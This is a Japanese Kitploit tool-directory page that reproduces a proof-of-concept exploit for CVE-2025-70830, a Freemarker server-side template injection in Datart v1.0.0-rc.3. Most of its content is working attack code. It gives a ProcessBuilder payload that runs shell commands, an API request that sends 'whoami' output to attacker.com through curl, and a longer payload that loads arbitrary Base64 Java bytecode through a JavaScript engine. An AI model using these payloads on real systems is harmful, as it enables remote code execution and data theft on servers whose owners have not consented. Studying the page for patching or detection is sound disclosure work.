Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-70830 — Datart v1.0.0-rc.3 の Freemarker テンプレートエンジンにおけるサーバーサイドテンプレートインジェクション(SSTI)の脆弱性により、認証済みの攻撃者が SQL スクリプトフィールドに細工した Freemarker テンプレート構文を注入することで任意のコードを実行できる可能性があります。 | Kitploit
ツール/GitHubGitHub/xiaoxiaoranxxx/cve-2025-70830
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubxiaoxiaoranxxx/cve-2025-70830

CVE-2025-70830

Datart v1.0.0-rc.3 の Freemarker テンプレートエンジンにおけるサーバーサイドテンプレートインジェクション(SSTI)の脆弱性により、認証済みの攻撃者が SQL スクリプトフィールドに細工した Freemarker テンプレート構文を注入することで任意のコードを実行できる可能性があります。

リポジトリを見る
56ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-70830: Datart サーバーサイドテンプレートインジェクション (SSTI)

脆弱性概要 (Overview)

  • CVE 番号: CVE-2025-70830
  • 影響を受ける製品: Datart
  • 影響を受けるバージョン: v1.0.0-rc.3
  • 脆弱性タイプ: Server-Side Template Injection (SSTI)
  • 危険度: Remote Code Execution (RCE)

脆弱性の説明 (Description)

Datart v1.0.0-rc.3 の Freemarker テンプレートエンジンにサーバーサイドテンプレートインジェクション (SSTI) の脆弱性が存在します。 認証済みの攻撃者は、SQL スクリプトフィールドに悪意のある Freemarker テンプレート構文を注入することで、任意のシステムコードを実行できます。

再現手順 (Proof of Concept)

1. 前提条件

  • Datart システムにログインする。
  • SQL 実行機能を持つデータソースにアクセスし編集できること。

2. ペイロードの構築

SQL スクリプト/クエリエディタで、以下の Freemarker ペイロードを入力すると、システムコマンド(例 id または calc)を実行できます。

root@kitploit:~
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1

スクリプトを実行すると、サーバーはバックグラウンドでそのコマンドを実行します。

3. HTTP リクエスト例

API を介して脆弱性をトリガーするリクエストパケットは次のとおりです。

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "sourceId": "valid_source_id",
  "script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
  "scriptType": "SQL",
  "size": 100
}

高度な悪用 (Advanced Exploitation)

任意のバイトコードの読み込み (Load Custom Bytecode)

攻撃者は Java の javax.script.ScriptEngineManager を利用して JS エンジンを呼び出し、任意の Base64 エンコードされた Java バイトコードを読み込んで実行できます。

ペイロード例:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
  "sourceId": "valid_source_id",
  "size": 1000,
  "scriptType": "SQL",
  "columns": "",
  "variables": []
}
ツールをダウンロード